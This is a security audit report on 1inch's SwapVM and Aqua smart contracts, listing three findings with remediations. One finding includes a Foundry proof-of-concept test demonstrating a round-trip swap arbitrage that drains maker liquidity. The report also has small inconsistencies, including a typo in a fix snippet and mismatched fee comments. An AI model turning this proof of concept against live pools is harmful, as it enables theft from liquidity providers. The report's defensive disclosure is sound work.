Smart Contract Security Audit Report

1inch SwapVM&Aqua Audit

1. Contents

2. General Information

This report contains information about the results of the security audit of the 1inch (hereafter referred to as "Customer") smart contracts, conducted by Decurity in the period from 2026-01-12 to 2026-01-23.

2.1. Introduction

Tasks solved during the work are:

- Review the protocol design and the usage of 3rd party dependencies,
- Audit the contracts implementation,
- Develop the recommendations and suggestions to improve the security of the contracts.

2.2. Scope of Work

The audit scope included the contracts in the following repositories: https://github.com/1inch/aqua, https://github.com/1inch/swap-vm/ and https://github.com/1inch/solidity-utils/. Initial review was done for the commits 89cedfa608aa9fdc60d8cd936b76a540e4b9346f, e2de56b7b7c759b04060c3b4535f6e489c09a536 and 38e5f8de705a8821237520ae06f3e9b0d40daf01 and the re-testing was done for the commits 81c26e4619ce21556ab02b3284ee2685de21fb18, b2daef83656b1ccbfc1c83d3df869c0ebb60badc and 29043f22422fde454951e9733129cce5d67e6a39.

The following contracts have been tested:

- aqua/Aqua.sol
- aqua/AquaApp.sol
- aqua/AquaRouter.sol
- aqua/src/libs/Balances.sol
- swap-vm/SwapVM.sol
- swap-vm/src/routers/AquaSwapVMRouter.sol

- swap-vm/src/opcodes/AquaOpcodes.sol
- swap-vm/src/instructions/Balances.sol
- swap-vm/src/instructions/Controls.sol
- swap-vm/src/instructions/Decay.sol
- swap-vm/src/instructions/Extruction.sol
- swap-vm/src/instructions/Fee.sol
- swap-vm/src/instructions/PeggedSwap.sol
- swap-vm/src/instructions/XYCConcentrate.sol
- swap-vm/src/instructions/XYCSwap.sol
- swap-vm/src/libs/MakerTraits.sol
- swap-vm/src/libs/PeggedSwapMath.sol
- swap-vm/src/libs/TakerTraits.sol
- swap-vm/src/libs/VM.sol
- solidity-utils/contracts/libraries/Calldata.sol
- solidity-utils/contracts/libraries/CalldataPtr.sol
- solidity-utils/contracts/libraries/Transient.sol
- solidity-utils/contracts/libraries/TransientLock.sol
- solidity-utils/contracts/mixins/Simulator.sol
- solidity-utils/contracts/mixins/Multicall.sol

2.3. Threat Model

The assessment presumes actions of an intruder who might have capabilities of any role (an external user, token owner, token service owner, a contract). The centralization risks have not been considered upon the request of the Customer.

The main possible threat actors are:

- Taker,
- Maker.

2.4. Weakness Scoring

An expert evaluation scores the findings in this report, an impact of each vulnerability is calculated based on its ease of exploitation (based on the industry practice and our experience) and severity (for the considered threats).

2.5. Disclaimer

Due to the intrinsic nature of the software and vulnerabilities and the changing threat landscape, it cannot be generally guaranteed that a certain security property of a program holds.

Therefore, this report is provided “as is” and is not a guarantee that the analyzed system does not contain any other security weaknesses or vulnerabilities. Furthermore, this report is not an endorsement of the Customer’s project, nor is it an investment advice.

That being said, Decurity exercises best effort to perform their contractual obligations and follow the industry methodologies to discover as many weaknesses as possible and maximize the audit coverage using the limited resources.

3. Summary

As a result of this work, we have discovered high and medium security vulnerabilities.

3.1. Suggestions

The table below contains the discovered issues, their risk level, and their status as of March 27, 2026.

Table. Discovered weaknesses

Issue	Contract	Risk Level	Status
Wrong storage values used in programs with more than 2 supported tokens	swap-vm/src/instructions/XYCConcentrate.sol, swap-vm/src/instructions/TWAPSwap.sol	**High**	Fixed
Lack of boundary check for begin variable	solidity-utils/contracts/libraries/Calldata.sol	**Medium**	Acknowledged
Incorrect deltas calculation	swap-vm/src/instructions/XYCConcentrate.sol	**Medium**	Fixed

4. General Recommendations

This section contains general recommendations on how to improve overall security level.

The Findings section contains technical recommendations for each discovered issue.

4.1. Security Process Improvement

The following is a brief long-term action plan to mitigate further weaknesses and bring the product security to a higher level:

- Keep the whitepaper and documentation updated to make it consistent with the implementation and the intended use cases of the system,
- Perform regular audits for all the new contracts and updates,
- Ensure the secure off-chain storage and processing of the credentials (e.g. the privileged private keys),
- Launch a public bug bounty campaign for the contracts.

5. Findings

5.1. Wrong storage values used in programs with more than 2 supported tokens

Risk Level: High

Status: Fixed in the commit 4d2f2a4 for XYCConcentrate.sol.

Contracts:

- swap-vm/src/instructions/XYCConcentrate.sol,
- swap-vm/src/instructions/TWAPSwap.sol

Description:

SwapVM programs can support an arbitrary number of tokens via `_XD` instructions. A taker may execute a program using any supported token pair as `tokenIn` and `tokenOut`. However, the `XYCConcentrate` and `TWAPSwap` multi-token instructions produce incorrect results when the same program is executed multiple times with different token pairs.
XYCConcentrate instructions use a `liquidity` mapping to track the state of concentrated liquidity positions. In a multi-token scenario where the same order is executed with multiple token pairs, all pairs read from and write to the same liquidity entry. This causes state overwrites and leads to unexpected liquidity calculations.
TWAPSwap stores the last swap state in the `twapLastSwaps` mapping keyed by `orderHash`. If the most recent swap was executed with a different token pair, its stored values are incorrectly reused for subsequent swaps with other pairs, resulting in invalid TWAP calculations.

Remediation:

Use unique mapping keys that depend on the `orderHash` and the current token pair (`tokenIn` and `tokenOut`). For XYCConcentrate, additional math logic should be involved to calculate the correct liquidity value for intersecting token pairs.

5.2. Lack of boundary check for begin variable

Risk Level: Medium

Status: Won't Fix.

Contracts:

- solidity-utils/contracts/libraries/Calldata.sol

Location:

- `slice(bytes calldata calls, uint256 begin, uint256 end, bytes4 exception)`

Description:

The Calldata library contains a `slice(bytes calldata calls, uint256 begin, uint256 end, bytes4 exception)` function intended to perform bounds checking. It reverts with the provided exception selector if `end` exceeds `calls.length`. Unfortunately, the function does not verify that `begin` is less than or equal to `end`, which can lead to an underflow when computing the slice length.

Remediation:

Consider adding a check to ensure `begin <= end` before calculating the length. If the check fails, revert using the provided exception selector:

```
    if (begind > end) {
        assembly ("memory-safe") { // solhint-disable-line no-inline-assembly
            mstore(0, exception)
            revert(0, 4)
        }
    }
```

5.3. Incorrect deltas calculation

Risk Level: Medium

Status: Fixed

Contracts:

- swap-vm/src/instructions/XYCConcentrate.sol

Location:

- `computeDeltas()`

Description:

The `computeDeltas` function at XYCConcentrate.sol:51-64 uses two different square root formulas to compute the virtual reserve offsets `deltaA` and `deltaB`:

```
    uint256 sqrtPriceMin = Math.sqrt(price * ONE / priceMin) *
SQRT_ONE;
    uint256 sqrtPriceMax = Math.sqrt(priceMax * ONE / price) *
SQRT_ONE;
    deltaA = (price == priceMin) ? 0 : (balanceA * ONE / (sqrtPriceMin
- ONE));
    deltaB = (price == priceMax) ? 0 : (balanceB * ONE / (sqrtPriceMax
- ONE));
```

For a USDT/USDC pool with equal balances, price = 1.0, priceMin = 0.95, priceMax = 1.05:

- sqrt(1 / 0.95) ≈ 1.02598 → deltaA = bal / 0.02598
- sqrt(1.05 / 1) ≈ 1.02470 → deltaB = bal / 0.02470

```
// SPDX-License-Identifier: LicenseRef-Degensoft-SwapVM-1.1
pragma solidity 0.8.30;
 /// @custom:license-url https://github.com/1inch/swap-
vm/blob/main/LICENSES/SwapVM-1.1.txt
/// @custom:copyright (c) 2025 Degensoft Ltd
 import { Test } from "forge-std/Test.sol";
import { dynamic } from "./utils/Dynamic.sol";
import { SafeCast } from
"@openzeppelin/contracts/utils/math/SafeCast.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { TokenMock } from "@1inch/solidity-
utils/contracts/mocks/TokenMock.sol";
import { Aqua } from "@1inch/aqua/src/Aqua.sol";
 import { SwapVM, ISwapVM } from "../src/SwapVM.sol";
import { SwapVMRouter } from "../src/routers/SwapVMRouter.sol";
import { MakerTraitsLib } from "../src/libs/MakerTraits.sol";
import { TakerTraitsLib } from "../src/libs/TakerTraits.sol";
import { OpcodesDebug } from "../src/opcodes/OpcodesDebug.sol";
import { XYCSwap } from "../src/instructions/XYCSwap.sol";
import { XYCConcentrate, XYCConcentrateArgsBuilder } from
"../src/instructions/XYCConcentrate.sol";
import { Balances, BalancesArgsBuilder } from
"../src/instructions/Balances.sol";
import { Fee, FeeArgsBuilder } from "../src/instructions/Fee.sol";
 import { Program, ProgramBuilder } from "./utils/ProgramBuilder.sol";
 /// @title Proof: 2D concentrated pool with 0.1% fee loses money
/// @notice Demonstrates that the asymmetric delta computation in
computeDeltas
///         causes the maker to lose money even in a plain 2D pool
when the fee
///         is below the breakeven threshold for the chosen price
range.
///
/// Root cause: computeDeltas computes deltaA from
sqrt(price/priceMin) and
///             deltaB from sqrt(priceMax/price). For priceMin=0.95,
priceMax=1.05:
///               sqrt(1/0.95) = 1.02598  ->  deltaA = bal / 0.02598
///               sqrt(1.05)   = 1.02470  ->  deltaB = bal / 0.02470
///             deltaB is ~5% larger than deltaA, so concentratedB >
concentratedA.
///             The XYCSwap formula (amountIn * balOut / (balIn +
amountIn)) then
///             gives amountOut > amountIn when swapping from the
shallow side (A)
///             to the deep side (B), creating a directional price
distortion.
contract XYCConcentrate2DLossTest is Test, OpcodesDebug {
    using SafeCast for uint256;
    using ProgramBuilder for Program;
     uint256 constant ONE = 1e18;
```

```
    uint32 constant FEE_BPS = 500_000; // 0.05% fee (500_000 / 1e9)
     constructor() OpcodesDebug(address(new Aqua())) {}
     SwapVMRouter public swapVM;
    address public tokenA;
    address public tokenB;
     address public maker;
    uint256 public makerPrivateKey;
    address public taker = makeAddr("taker");
     function setUp() public {
        makerPrivateKey = 0x1234;
        maker = vm.addr(makerPrivateKey);
        swapVM = new SwapVMRouter(address(0), address(0), "SwapVM",
"1.0.0");
         tokenA = address(new TokenMock("TokenA", "A"));
        tokenB = address(new TokenMock("TokenB", "B"));
         TokenMock(tokenA).mint(maker, 1_000_000_000e18);
        TokenMock(tokenB).mint(maker, 1_000_000_000e18);
        TokenMock(tokenA).mint(taker, 1_000_000_000e18);
        TokenMock(tokenB).mint(taker, 1_000_000_000e18);
         vm.startPrank(maker);
        TokenMock(tokenA).approve(address(swapVM), type(uint256).max);
        TokenMock(tokenB).approve(address(swapVM), type(uint256).max);
        vm.stopPrank();
         vm.startPrank(taker);
        TokenMock(tokenA).approve(address(swapVM), type(uint256).max);
        TokenMock(tokenB).approve(address(swapVM), type(uint256).max);
        vm.stopPrank();
    }
     function _createOrder2D(uint256 bal) internal view returns
(ISwapVM.Order memory order, bytes memory sig) {
        (uint256 deltaA, uint256 deltaB, uint256 liquidity) =
            XYCConcentrateArgsBuilder.computeDeltas(bal, bal, 1e18,
0.95e18, 1.0526e18);
         Program memory p = ProgramBuilder.init(_opcodes());
        order = MakerTraitsLib.build(MakerTraitsLib.Args({
            maker: maker,
            shouldUnwrapWeth: false,
            useAquaInsteadOfSignature: false,
            allowZeroAmountIn: false,
            receiver: address(0),
            hasPreTransferInHook: false,
            hasPostTransferInHook: false,
            hasPreTransferOutHook: false,
            hasPostTransferOutHook: false,
            preTransferInTarget: address(0),
            preTransferInData: "",
            postTransferInTarget: address(0),
            postTransferInData: "",
            preTransferOutTarget: address(0),
            preTransferOutData: "",
            postTransferOutTarget: address(0),
```

```
            postTransferOutData: "",
            program: bytes.concat(
                p.build(Balances._dynamicBalancesXD,
BalancesArgsBuilder.build(
                    dynamic([tokenA, tokenB]),
                    dynamic([bal, bal])
                )),
                p.build(Fee._flatFeeAmountInXD,
FeeArgsBuilder.buildFlatFee(FEE_BPS)),
                p.build(XYCConcentrate._xycConcentrateGrowLiquidity2D,
                    XYCConcentrateArgsBuilder.build2D(tokenA, tokenB,
deltaA, deltaB, liquidity)
                ),
                p.build(XYCSwap._xycSwapXD)
            )
        }));
         bytes32 h = swapVM.hash(order);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(makerPrivateKey, h);
        sig = abi.encodePacked(r, s, v);
    }
     function _swapData(bytes memory signature) internal view returns
(bytes memory) {
        return TakerTraitsLib.build(TakerTraitsLib.Args({
            taker: taker,
            isExactIn: true,
            shouldUnwrapWeth: false,
            isStrictThresholdAmount: false,
            isFirstTransferFromTaker: false,
            useTransferFromAndAquaPush: false,
            threshold: "",
            to: address(0),
            deadline: 0,
            hasPreTransferInCallback: false,
            hasPreTransferOutCallback: false,
            preTransferInHookData: "",
            postTransferInHookData: "",
            preTransferOutHookData: "",
            postTransferOutHookData: "",
            preTransferInCallbackData: "",
            preTransferOutCallbackData: "",
            instructionsArgs: "",
            signature: signature
        }));
    }
     /// @notice Prove maker loses money with 2D concentrated pool at
0.05% fee
    function test_2DPoolLossAt005Pct() public {
        uint256 bal = 100_000 * ONE;
        uint256 initialTVL = bal * 2;
         (ISwapVM.Order memory order, bytes memory sig) =
_createOrder2D(bal);
```

```
        bytes32 h = swapVM.hash(order);
        bytes memory sd = _swapData(sig);
         // Show the delta asymmetry (root cause)
        (uint256 deltaA, uint256 deltaB, uint256 liquidity) =
            XYCConcentrateArgsBuilder.computeDeltas(bal, bal, 1e18,
0.95e18, 1.0526e18);
         uint256 concA = bal + deltaA;
        uint256 concB = bal + deltaB;
         emit log_string("=== 2D Pool: Proof of Maker Loss at 0.05%
Fee ===");
        emit log_string("Pool: 100k per token (200k TVL)");
        emit log_string("Range: 0.95 - 1.05, Fee: 0.05%");
        emit log_string("\n--- Root Cause: Asymmetric Deltas ---");
        emit log_named_decimal_uint("deltaA (from priceMin=0.95)",
deltaA, 18);
        emit log_named_decimal_uint("deltaB (from priceMax=1.05)",
deltaB, 18);
        emit log_named_decimal_uint("concentratedA = bal + deltaA",
concA, 18);
        emit log_named_decimal_uint("concentratedB = bal + deltaB",
concB, 18);
        emit log_named_decimal_uint("ratio concB/concA (x1e18)", concB
* 1e18 / concA, 18);
        emit log_string("  -> ratio > 1.0 means swapping A->B gives
taker MORE than input!");
         // Show first swap distortion
        vm.startPrank(taker);
         uint256 swapSize = 1000 * ONE;
        uint256 takerBefore = TokenMock(tokenA).balanceOf(taker) +
TokenMock(tokenB).balanceOf(taker);
         // Swap A->B (favorable direction for taker)
        (, uint256 out1,) = swapVM.swap(order, tokenA, tokenB,
swapSize, sd);
        emit log_string("\n--- First Swap Distortion ---");
        emit log_named_decimal_uint("Swap A->B input", swapSize, 18);
        emit log_named_decimal_uint("Swap A->B output", out1, 18);
        emit log_named_decimal_int("Maker P&L from 1st swap",
int256(swapSize) - int256(out1), 18);
         // Reverse swap B->A
        (, uint256 out2,) = swapVM.swap(order, tokenB, tokenA,
swapSize, sd);
        emit log_named_decimal_uint("Swap B->A input", swapSize, 18);
        emit log_named_decimal_uint("Swap B->A output", out2, 18);
        emit log_named_decimal_int("Maker P&L from 2nd swap",
int256(swapSize) - int256(out2), 18);
         uint256 takerAfterFirstRound =
TokenMock(tokenA).balanceOf(taker) +
TokenMock(tokenB).balanceOf(taker);
        emit log_string("\n--- Round Trip Summary ---");
        emit log_named_decimal_int("Taker P&L (1 round trip)",
int256(takerAfterFirstRound) - int256(takerBefore), 18);
```

```
        emit log_named_decimal_uint("Fee income (2 x 0.1%)", swapSize
* FEE_BPS / 1e9 * 2, 18);
        emit log_string("  -> Taker profits DESPITE paying fees!");
         // Now run many rounds to show cumulative loss
        uint256 rounds = 500;
        uint256 takerBeforeMany = TokenMock(tokenA).balanceOf(taker) +
TokenMock(tokenB).balanceOf(taker);
         for (uint256 r = 0; r < rounds; r++) {
            swapVM.swap(order, tokenA, tokenB, swapSize, sd);
            swapVM.swap(order, tokenB, tokenA, swapSize, sd);
        }
         uint256 takerAfterMany = TokenMock(tokenA).balanceOf(taker) +
TokenMock(tokenB).balanceOf(taker);
        vm.stopPrank();
         uint256 poolA = swapVM.balances(h, tokenA);
        uint256 poolB = swapVM.balances(h, tokenB);
        uint256 poolTotal = poolA + poolB;
        int256 makerPnL = int256(poolTotal) - int256(initialTVL);
        int256 takerPnL = int256(takerAfterMany) -
int256(takerBeforeMany);
         emit log_string("\n=== Cumulative Results (500 additional
round trips) ===");
        emit log_named_decimal_uint("Pool tokenA", poolA, 18);
        emit log_named_decimal_uint("Pool tokenB", poolB, 18);
        emit log_named_decimal_uint("Pool total", poolTotal, 18);
        emit log_named_decimal_int("Maker P&L (pool growth)",
makerPnL, 18);
        emit log_named_decimal_int("Taker P&L", takerPnL, 18);
         uint256 totalSwaps = (rounds + 1) * 2; // +1 for the initial
round
        uint256 totalVolume = totalSwaps * swapSize;
        uint256 expectedFees = totalVolume * FEE_BPS / 1e9;
        emit log_string("\n--- Economics ---");
        emit log_named_uint("Total swaps", totalSwaps);
        emit log_named_decimal_uint("Total volume", totalVolume, 18);
        emit log_named_decimal_uint("Expected fee income (volume x
0.05%)", expectedFees, 18);
        emit log_named_decimal_int("Actual maker P&L", makerPnL, 18);
        if (makerPnL < 0) {
            emit log_named_decimal_uint("Maker LOSS", uint256(-
makerPnL), 18);
        }
         // Assert maker lost money
        assertTrue(makerPnL < 0, "Maker should lose money with 0.05%
fee on 2D pool");
    }
}
```

Remediation:

Consider replacing the per-token delta formulas with a proper Uniswap v3-style concentrated liquidity computation. First compute the liquidity parameter `L` from real balances and price bounds using the quadratic formula, then derive symmetric deltas. This ensures the virtual reserves are consistent with a single liquidity value `L` and the XYC constant-product invariant, eliminating the asymmetry that enables arbitrage.

6. Appendix

6.1. About us

The Decurity team consists of experienced hackers who have been doing application security assessments and penetration testing for over a decade.

During the recent years, we've gained expertise in the blockchain field and have conducted numerous audits for both centralized and decentralized projects: exchanges, protocols, and blockchain nodes.

Our efforts have helped to protect hundreds of millions of dollars and make web3 a safer place.